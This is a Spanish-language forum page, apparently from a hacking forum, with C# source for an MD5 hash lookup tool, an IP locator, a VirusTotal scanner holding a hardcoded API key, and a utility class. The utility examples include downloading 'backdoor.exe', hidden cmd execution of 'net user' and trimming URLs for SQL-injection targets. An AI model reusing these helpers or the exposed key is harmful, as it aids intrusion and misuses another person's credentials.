Version en C# de este programa para crackear un MD5 usando el servicio de diversas paginas online. Una imagen : Los codigos : // MD5 Cracker 0.3 // (C) Doddy Hackman 2014 // Credits : // Based in -> // http://md5online.net // http://md5decryption.com // http://md5.my-addr.com // Thanks to aeonhack for the Theme Skin using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Text.RegularExpressions; namespace md5cracker { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void droneButton2_Click(object sender, EventArgs e) { toolStripStatusLabel1.Text = "[+] Cracking ..."; this.Refresh(); //202cb962ac59075b964b07152d234b70 string md5 = textBox1.Text; string rta = ""; string code = ""; DH_Tools tools = new DH_Tools (); code = tools.tomar("http://md5online.net/index.php", "pass=" + md5 + "&option=hash2text&send=Submit"); Match regex = Regex.Match(code, "<center><p>md5 :<b>(.*?)</b> <br>pass : <b>(.*?)</b></p>", RegexOptions.IgnoreCase); if (regex.Success) { rta = regex.Groups[2].Value; } else { code = tools.tomar("http://md5decryption.com/index.php", "hash=" + md5 + "&submit=Decrypt It!"); regex = Regex.Match(code, "Decrypted Text: </b>(.*?)</font>", RegexOptions.IgnoreCase); if (regex.Success) { rta = regex.Groups[1].Value; } else { code = tools.tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php", "md5=" + md5); regex = Regex.Match(code, "<span class='middle_title'>Hashed string</span>: (.*?)</div>", RegexOptions.IgnoreCase); if (regex.Success) { rta = regex.Groups[1].Value; } else { rta = "Not Found"; } } } textBox2.Text = rta; toolStripStatusLabel1.Text = "[+] Finished"; this.Refresh(); } private void droneButton3_Click(object sender, EventArgs e) { Clipboard.SetText(textBox2.Text); toolStripStatusLabel1.Text = "[+] Copied"; this.Refresh(); } private void droneButton1_Click(object sender, EventArgs e) { Application.Exit(); } } } // The End ?
// Class Name : DH Tools // Version : Beta // Author : Doddy Hackman // (C) Doddy Hackman 2014 // // Functions : // // [+] HTTP Methods GET & POST // [+] Get HTTP Status code number // [+] HTTP FingerPrinting // [+] Read File // [+] Write File // [+] GET OS // [+] Remove duplicates from a List // [+] Cut urls from a List // [+] Download // [+] Upload // [+] Get Basename from a path // [+] Execute commands // [+] URI Split // [+] MD5 Hash Generator // [+] Get MD5 of file // [+] Get IP address from host name // // Credits : // // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+ // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file // // Thanks to : $DoC and atheros14 (Forum indetectables) // using System; using System.Collections.Generic; using System.Text; using System.Net; using System.IO; using System.Text.RegularExpressions; using System.Security.Cryptography; namespace md5cracker { class DH_Tools { public string toma(string url) { string code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; code = nave.DownloadString(url); } catch { // } return code; } public string tomar(string url, string par) { string code = ""; try { HttpWebRequest nave = (HttpWebRequest) WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; nave.Method = "POST"; nave.ContentType = "application/x-www-form-urlencoded"; Stream anteantecode = nave.GetRequestStream(); anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length); anteantecode.Close(); StreamReader antecode = new StreamReader (nave .GetResponse().GetResponseStream()); code = antecode.ReadToEnd(); } catch { // } return code; } public string respondecode(string url) { String code = ""; try { HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; HttpWebResponse num = (HttpWebResponse)nave.GetResponse(); int number = (int)num.StatusCode; code = Convert.ToString(number); } catch { code = "404"; } return code; } public string httpfinger(string url) { String code = ""; try { HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url); HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse(); for (int num = 0; num < nave2.Headers.Count; ++num) { code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine; } nave2.Close(); } catch { // } return code; } public string openword(string file) { String code = ""; try { code = System.IO.File.ReadAllText(file); } catch { // } return code; } public void savefile(string file, string texto) { try { System.IO.StreamWriter save = new System.IO.StreamWriter(file, true); save.Write(texto); save.Close(); } catch { // } } public string getos() { string code = ""; try { System.OperatingSystem os = System.Environment.OSVersion; code = Convert.ToString(os); } catch { code = "?"; } return code; } public List<string> repes(List<string> array) { List <string> repe = new List <string>(); foreach (string lin in array) { if (!repe.Contains(lin)) { repe.Add(lin); } } return repe; } public List<string> cortar(List<string> otroarray) { List <string> cort = new List <string>(); foreach (string row in otroarray) { String lineafinal = ""; Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase); if (regex.Success) { lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "="; cort.Add(lineafinal); } } return cort; } public string download(string url, string savename) { String code = ""; WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; try { nave.DownloadFile(url, savename); code = "OK"; } catch { code = "Error"; } return code; } public string upload(string link, string archivo) { String code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; byte[] codedos = nave.UploadFile(link, "POST", archivo); code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length); } catch { code = "Error"; } return code; } public string basename(string file) { String nombre = ""; FileInfo basename = new FileInfo (file ); nombre = basename.Name; return nombre; } public string console(string cmd) { string code = ""; try { System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd ); loadnow.RedirectStandardOutput = true; loadnow.UseShellExecute = false; loadnow.CreateNoWindow = true; System.Diagnostics.Process loadnownow = new System.Diagnostics.Process(); loadnownow.StartInfo = loadnow; loadnownow.Start(); code = loadnownow.StandardOutput.ReadToEnd(); } catch { code = "Error"; } return code; } public string urisplit(string url, string opcion) { string code = ""; Uri dividir = new Uri (url ); if (opcion == "host") { code = dividir.Host; } if (opcion == "port") { code = Convert.ToString(dividir.Port); } if (opcion == "path") { code = dividir.LocalPath; } if (opcion == "file") { code = dividir.AbsolutePath; FileInfo basename = new FileInfo (code ); code = basename.Name; } if (opcion == "query") { code = dividir.Query; } if (opcion == "") { code = "Error"; } return code; } public string convertir_md5(string text) { MD5 convertirmd5 = MD5.Create(); byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text)); StringBuilder guardar = new StringBuilder (); for (int numnow = 0; numnow < infovalor.Length; numnow++) { guardar.Append(infovalor[numnow].ToString("x2")); } return guardar.ToString(); } public string md5file(string file) { string code = ""; try { var gen = MD5.Create(); var ar = File.OpenRead(file); code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower(); } catch { code = "Error"; } return code; } public string getip(string host) { string code = ""; try { IPAddress[] find = Dns.GetHostAddresses(host); code = find[0].ToString(); } catch { code = "Error"; } return code; } } } // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
116
|
Programación / .NET (C#, VB.NET, ASP) / [C#] LocateIP 0.2
|
en: 4 Julio 2014, 19:24 pm
|
Un simple programa en C# para localizar una IP , su localizacion y sus DNS. Una imagen : El codigo : Form1.cs // LocateIP 0.2 // (C) Doddy Hackman 2014 // Credits : // To locate IP : http://www.melissadata.com/lookups/iplocation.asp?ipaddress= // To get DNS : http://www.ip-adress.com/reverse_ip/ // Theme Skin designed by Aeonhack // Thanks to www.melissadata.com and www.ip-adress.com and Aeonhack using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; namespace locateip { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void mButton2_Click(object sender, EventArgs e) { funciones modulos = new funciones (); if (textBox1.Text == "") { MessageBox.Show("Enter the target"); } else { textBox2.Text = ""; textBox3.Text = ""; textBox4.Text = ""; listBox1.Items.Clear(); toolStripStatusLabel1.Text = "[+] Getting IP ..."; this.Refresh(); string ip = modulos.getip(textBox1.Text); if (ip == "Error") { MessageBox.Show("Error getting IP ..."); toolStripStatusLabel1.Text = "[-] Error getting IP"; this.Refresh(); } else { textBox1.Text = ip; toolStripStatusLabel1.Text = "[+] Locating ..."; this.Refresh(); List<String> localizacion = modulos.locateip(ip); if (localizacion[0] == "Error") { MessageBox.Show("Error locating ..."); toolStripStatusLabel1.Text = "[-] Error locating"; this.Refresh(); } else { textBox2.Text = localizacion[0]; textBox3.Text = localizacion[1]; textBox4.Text = localizacion[2]; toolStripStatusLabel1.Text = "[+] Getting DNS ..."; this.Refresh(); List<String> dns_found = modulos.getdns(ip); if (dns_found[0] == "") { MessageBox.Show("Error getting DNS ..."); toolStripStatusLabel1.Text = "[-] Error getting DNS"; this.Refresh(); } else { foreach (string dns in dns_found) { listBox1.Items.Add(dns); } toolStripStatusLabel1.Text = "[+] Finished"; this.Refresh(); } } } } } private void mButton1_Click(object sender, EventArgs e) { Application.Exit(); } } } // The End ?
funciones.cs // Funciones for LocateIP 0.2 // (C) Doddy Hackman 2014 using System; using System.Collections.Generic; using System.Text; // using System.Net; using System.IO; using System.Text.RegularExpressions; // namespace locateip { class funciones { public string getip(string buscar) { String code = ""; String url = "http://whatismyipaddress.com/hostname-ip"; String par = "DOMAINNAME="+buscar; String ip = ""; HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; nave.Method = "POST"; nave.ContentType = "application/x-www-form-urlencoded"; Stream anteantecode = nave.GetRequestStream(); anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length); anteantecode.Close(); StreamReader antecode = new StreamReader (nave .GetResponse().GetResponseStream()); code = antecode.ReadToEnd(); Match regex = Regex.Match(code, "Lookup IP Address: <a href=(.*)>(.*)</a>", RegexOptions.IgnoreCase); if (regex.Success) { ip = regex.Groups[2].Value; } else { ip = "Error"; } return ip; } public List<String> locateip(string ip) { string code = ""; string city = ""; string country = ""; string state = ""; WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; code = nave.DownloadString("http://www.melissadata.com/lookups/iplocation.asp?ipaddress=" + ip); Match regex = Regex.Match(code, "City</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase); if (regex.Success) { city = regex.Groups[2].Value; } else { city = "Error"; } regex = Regex.Match(code, "Country</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase); if (regex.Success) { country = regex.Groups[2].Value; } else { country = "Error"; } regex = Regex.Match(code, "State or Region</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase); if (regex.Success) { state = regex.Groups[2].Value; } else { state = "Error"; } List <string> respuesta = new List <string> {}; respuesta.Add(city); respuesta.Add(country); respuesta.Add(state); return respuesta; } public List<String> getdns(string ip) { string code = ""; WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; code = nave.DownloadString("http://www.ip-adress.com/reverse_ip/" + ip); List <string> respuesta = new List <string> {}; Match regex = Regex.Match(code, "whois/(.*?)\">Whois", RegexOptions.IgnoreCase); while (regex.Success) { respuesta.Add(regex.Groups[1].Value); regex = regex.NextMatch(); } return respuesta; } } } // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
119
|
Programación / .NET (C#, VB.NET, ASP) / [C#] VirusTotal Scanner 0.1
|
en: 27 Junio 2014, 15:41 pm
|
Mi primer programa en C# , un simple scanner del servicio VirusTotal. Una imagen : El codigo : Form1.cs // VirusTotal Scanner 0.1 // (C) Doddy Hackman 2014 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.IO; using System.Text.RegularExpressions; namespace virustotalscanner { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { openFileDialog1.ShowDialog(); if (File.Exists(openFileDialog1.FileName)) { textBox1.Text = openFileDialog1.FileName; } } private void button2_Click(object sender, EventArgs e) { DH_Tools tools = new DH_Tools (); if (File.Exists(textBox1.Text)) { string md5 = tools.md5file(textBox1.Text); listView1.Items.Clear(); richTextBox1.Clear(); string apikey = "07d6f7d301eb1ca58931a396643b91e4c98f830dcaf52aa646f034c876689064"; // API Key toolStripStatusLabel1.Text = "[+] Scanning ..."; this.Refresh(); string code = tools.tomar("http://www.virustotal.com/vtapi/v2/file/report", "resource=" + md5 + "&apikey=" + apikey); code = code.Replace("{\"scans\":", ""); string anti = ""; string reanti = ""; Match regex = Regex.Match(code, "\"(.*?)\": {\"detected\": (.*?), \"version\": (.*?), \"result\": (.*?), \"update\": (.*?)}", RegexOptions.IgnoreCase); while (regex.Success) { anti = regex.Groups[1].Value; reanti = regex.Groups[4].Value; reanti = reanti.Replace("\"", ""); ListViewItem item = new ListViewItem (); if (reanti == "null") { item.ForeColor = Color.Cyan; reanti = "Clean"; } else { item.ForeColor = Color.Red; } item.Text = anti; item.SubItems.Add(reanti); listView1.Items.Add(item); regex = regex.NextMatch(); } regex = Regex.Match(code, "\"scan_id\": \"(.*?)\"", RegexOptions.IgnoreCase); if (regex.Success) { richTextBox1.AppendText("[+] Scan_ID : " + regex.Groups[1].Value + Environment.NewLine); } else { MessageBox.Show("Not Found"); } regex = Regex.Match(code, "\"scan_date\": \"(.*?)\"", RegexOptions.IgnoreCase); if (regex.Success) { richTextBox1.AppendText("[+] Scan_Date : " + regex.Groups[1].Value + Environment.NewLine); } regex = Regex.Match(code, "\"permalink\": \"(.*?)\"", RegexOptions.IgnoreCase); if (regex.Success) { richTextBox1.AppendText("[+] PermaLink : " + regex.Groups[1].Value + Environment.NewLine); } regex = Regex.Match(code, "\"verbose_msg\": \"(.*?)\", \"total\": (.*?), \"positives\": (.*?),", RegexOptions.IgnoreCase); if (regex.Success) { richTextBox1.AppendText("[+] Founds : " + regex.Groups[3].Value + "/" + regex.Groups[2].Value + Environment.NewLine); } toolStripStatusLabel1.Text = "[+] Finished"; this.Refresh(); } else { MessageBox.Show("File not found"); } } } } // The End ?
DH_Tools.cs // Class Name : DH Tools // Version : Beta // Author : Doddy Hackman // (C) Doddy Hackman 2014 // // Functions : // // [+] HTTP Methods GET & POST // [+] Get HTTP Status code number // [+] HTTP FingerPrinting // [+] Read File // [+] Write File // [+] GET OS // [+] Remove duplicates from a List // [+] Cut urls from a List // [+] Download // [+] Upload // [+] Get Basename from a path // [+] Execute commands // [+] URI Split // [+] MD5 Hash Generator // [+] Get MD5 of file // [+] Get IP address from host name // // Credits : // // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+ // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file // // Thanks to : $DoC and atheros14 (Forum indetectables) // using System; using System.Collections.Generic; using System.Text; using System.Net; using System.IO; using System.Text.RegularExpressions; using System.Security.Cryptography; namespace virustotalscanner { class DH_Tools { public string toma(string url) { string code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; code = nave.DownloadString(url); } catch { // } return code; } public string tomar(string url, string par) { string code = ""; try { HttpWebRequest nave = (HttpWebRequest) WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; nave.Method = "POST"; nave.ContentType = "application/x-www-form-urlencoded"; Stream anteantecode = nave.GetRequestStream(); anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length); anteantecode.Close(); StreamReader antecode = new StreamReader (nave .GetResponse().GetResponseStream()); code = antecode.ReadToEnd(); } catch { // } return code; } public string respondecode(string url) { String code = ""; try { HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; HttpWebResponse num = (HttpWebResponse)nave.GetResponse(); int number = (int)num.StatusCode; code = Convert.ToString(number); } catch { code = "404"; } return code; } public string httpfinger(string url) { String code = ""; try { HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url); HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse(); for (int num = 0; num < nave2.Headers.Count; ++num) { code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine; } nave2.Close(); } catch { // } return code; } public string openword(string file) { String code = ""; try { code = System.IO.File.ReadAllText(file); } catch { // } return code; } public void savefile(string file, string texto) { try { System.IO.StreamWriter save = new System.IO.StreamWriter(file, true); save.Write(texto); save.Close(); } catch { // } } public string getos() { string code = ""; try { System.OperatingSystem os = System.Environment.OSVersion; code = Convert.ToString(os); } catch { code = "?"; } return code; } public List<string> repes(List<string> array) { List <string> repe = new List <string>(); foreach (string lin in array) { if (!repe.Contains(lin)) { repe.Add(lin); } } return repe; } public List<string> cortar(List<string> otroarray) { List <string> cort = new List <string>(); foreach (string row in otroarray) { String lineafinal = ""; Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase); if (regex.Success) { lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "="; cort.Add(lineafinal); } } return cort; } public string download(string url, string savename) { String code = ""; WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; try { nave.DownloadFile(url, savename); code = "OK"; } catch { code = "Error"; } return code; } public string upload(string link, string archivo) { String code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; byte[] codedos = nave.UploadFile(link, "POST", archivo); code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length); } catch { code = "Error"; } return code; } public string basename(string file) { String nombre = ""; FileInfo basename = new FileInfo (file ); nombre = basename.Name; return nombre; } public string console(string cmd) { string code = ""; try { System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd ); loadnow.RedirectStandardOutput = true; loadnow.UseShellExecute = false; loadnow.CreateNoWindow = true; System.Diagnostics.Process loadnownow = new System.Diagnostics.Process(); loadnownow.StartInfo = loadnow; loadnownow.Start(); code = loadnownow.StandardOutput.ReadToEnd(); } catch { code = "Error"; } return code; } public string urisplit(string url, string opcion) { string code = ""; Uri dividir = new Uri (url ); if (opcion == "host") { code = dividir.Host; } if (opcion == "port") { code = Convert.ToString(dividir.Port); } if (opcion == "path") { code = dividir.LocalPath; } if (opcion == "file") { code = dividir.AbsolutePath; FileInfo basename = new FileInfo (code ); code = basename.Name; } if (opcion == "query") { code = dividir.Query; } if (opcion == "") { code = "Error"; } return code; } public string convertir_md5(string text) { MD5 convertirmd5 = MD5.Create(); byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text)); StringBuilder guardar = new StringBuilder (); for (int numnow = 0; numnow < infovalor.Length; numnow++) { guardar.Append(infovalor[numnow].ToString("x2")); } return guardar.ToString(); } public string md5file(string file) { string code = ""; try { var gen = MD5.Create(); var ar = File.OpenRead(file); code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower(); } catch { code = "Error"; } return code; } public string getip(string host) { string code = ""; try { IPAddress[] find = Dns.GetHostAddresses(host); code = find[0].ToString(); } catch { code = "Error"; } return code; } } } // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
120
|
Programación / .NET (C#, VB.NET, ASP) / [C#] Clase DH Tools
|
en: 20 Junio 2014, 16:04 pm
|
Mi primer clase que hice practicando en C# Con las siguientes funciones : - Realizar peticiones GET & POST
- Ver el numero de HTTP Status en una pagina
- HTTP FingerPrinting
- Leer un archivo
- Escribir o crear un archivo
- Ver el sistema operativo actual
- Elimina duplicados en una lista
- Corta URLS en una lista
- Descargar y subir archivos
- Ver el nombre del archivo en una ruta
- Ejecutar comandos
- URI Split
- MD5 Hash Generator
- Ver el MD5 de un archivo
- Ver la IP de un hostname
El codigo de la clase : // Class Name : DH Tools // Version : Beta // Author : Doddy Hackman // (C) Doddy Hackman 2014 // // Functions : // // [+] HTTP Methods GET & POST // [+] Get HTTP Status code number // [+] HTTP FingerPrinting // [+] Read File // [+] Write File // [+] GET OS // [+] Remove duplicates from a List // [+] Cut urls from a List // [+] Download // [+] Upload // [+] Get Basename from a path // [+] Execute commands // [+] URI Split // [+] MD5 Hash Generator // [+] Get MD5 of file // [+] Get IP address from host name // // Credits : // // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+ // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file // // Thanks to : $DoC and atheros14 (Forum indetectables) // using System; using System.Collections.Generic; using System.Text; using System.Net; using System.IO; using System.Text.RegularExpressions; using System.Security.Cryptography; namespace clasewebtools { class DH_Tools { public string toma(string url) { string code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; code = nave.DownloadString(url); } catch { // } return code; } public string tomar(string url, string par) { string code = ""; try { HttpWebRequest nave = (HttpWebRequest) WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; nave.Method = "POST"; nave.ContentType = "application/x-www-form-urlencoded"; Stream anteantecode = nave.GetRequestStream(); anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length); anteantecode.Close(); StreamReader antecode = new StreamReader (nave .GetResponse().GetResponseStream()); code = antecode.ReadToEnd(); } catch { // } return code; } public string respondecode(string url) { String code = ""; try { HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url); nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; HttpWebResponse num = (HttpWebResponse)nave.GetResponse(); int number = (int)num.StatusCode; code = Convert.ToString(number); } catch { code = "404"; } return code; } public string httpfinger(string url) { String code = ""; try { HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url); HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse(); for (int num = 0; num < nave2.Headers.Count; ++num) { code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine; } nave2.Close(); } catch { // } return code; } public string openword(string file) { String code = ""; try { code = System.IO.File.ReadAllText(file); } catch { // } return code; } public void savefile(string file,string texto) { try { System.IO.StreamWriter save = new System.IO.StreamWriter(file, true); save.Write(texto); save.Close(); } catch { // } } public string getos() { string code = ""; try { System.OperatingSystem os = System.Environment.OSVersion; code = Convert.ToString(os); } catch { code = "?"; } return code; } public List<string> repes(List<string> array) { List <string> repe = new List <string>(); foreach (string lin in array) { if (!repe.Contains(lin)) { repe.Add(lin); } } return repe; } public List<string> cortar(List<string> otroarray) { List <string> cort = new List <string>(); foreach (string row in otroarray) { String lineafinal = ""; Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase); if (regex.Success) { lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "="; cort.Add(lineafinal); } } return cort; } public string download(string url,string savename) { String code = ""; WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; try { nave.DownloadFile(url, savename); code = "OK"; } catch { code = "Error"; } return code; } public string upload(string link,string archivo) { String code = ""; try { WebClient nave = new WebClient (); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; byte[] codedos = nave.UploadFile(link, "POST", archivo); code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length); } catch { code = "Error"; } return code; } public string basename(string file) { String nombre = ""; FileInfo basename = new FileInfo (file ); nombre = basename.Name; return nombre; } public string console(string cmd) { string code = ""; try { System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd ); loadnow.RedirectStandardOutput = true; loadnow.UseShellExecute = false; loadnow.CreateNoWindow = true; System.Diagnostics.Process loadnownow = new System.Diagnostics.Process(); loadnownow.StartInfo = loadnow; loadnownow.Start(); code = loadnownow.StandardOutput.ReadToEnd(); } catch { code = "Error"; } return code; } public string urisplit(string url,string opcion) { string code = ""; Uri dividir = new Uri (url ); if (opcion == "host") { code = dividir.Host; } if (opcion == "port") { code = Convert.ToString(dividir.Port); } if (opcion == "path") { code = dividir.LocalPath; } if (opcion == "file") { code = dividir.AbsolutePath; FileInfo basename = new FileInfo (code ); code = basename.Name; } if (opcion == "query") { code = dividir.Query; } if (opcion == "") { code = "Error"; } return code; } public string convertir_md5(string text) { MD5 convertirmd5 = MD5.Create(); byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text)); StringBuilder guardar = new StringBuilder (); for (int numnow = 0; numnow < infovalor.Length; numnow++) { guardar.Append(infovalor[numnow].ToString("x2")); } return guardar.ToString(); } public string md5file(string file) { string code = ""; try { var gen = MD5.Create(); var ar = File.OpenRead(file); code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower(); } catch { code = "Error"; } return code; } public string getip(string host) { string code = ""; try { IPAddress[] find = Dns.GetHostAddresses(host); code = find[0].ToString(); } catch { code = "Error"; } return code; } } } // The End ?
Con los siguientes ejemplos de uso : namespace clasewebtools { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { // Examples DH_Tools tools = new DH_Tools (); // The GET Method //string code = tools.toma("http://www.petardas.com/index.php"); // The POST Method //string code = tools.tomar("http://localhost/pos.php", "probar=test&yeah=dos&control=Now"); // HTTP Status code number //string code = tools.respondecode("http://www.petardas.com/index.php"); // HTTP FingerPrinting //string code = tools.httpfinger("http://www.petardas.com/index.php"); // Read File //string code = tools.openword("C:/test.txt"); // Write File //tools.savefile("test.txt","yeah"); // GET OS //string code = tools.getos(); /* Remove duplicates from a List List<string> arrays = new List<string> { "test", "test", "test", "bye", "bye" }; List<string> limpio = tools.repes(arrays); foreach (string text in limpio) { richTextBox1.AppendText(text + Environment.NewLine); } */ /* Cut urls from a List List<string> lista = new List<string> { "http://localhost1/sql.php?id=adsasdsadsa", "http://localhost2/sql.php?id=adsasdsadsa", "http://localhost3/sql.php?id=adsasdsadsa"}; List<string> cortar = tools.cortar(lista); foreach (string test in cortar) { richTextBox1.AppendText(test + Environment.NewLine); } */ // Download File //string code = tools.download("http://localhost/backdoor.exe", "backdoor.exe"); // Upload File //string code = tools.upload("http://localhost/uploads/upload.php", "c:/test.txt"); // Get Basename from a path //string code = tools.basename("c:/dsaaads/test.txt"); // Execute commands //string code = tools.console("net user"); // URI Split // Options : host,port,path,file,query //string code = tools.urisplit("http://localhost/dsadsadsa/sql.php?id=dsadasd","host"); // MD5 Hash Generator //string code = convertir_md5("123"); // Get MD5 of file //string code = tools.md5file("c:/test.txt"); // Get IP address from host name //string code = tools.getip("www.petardas.com"); } } }
|
|
|
|
|
|
|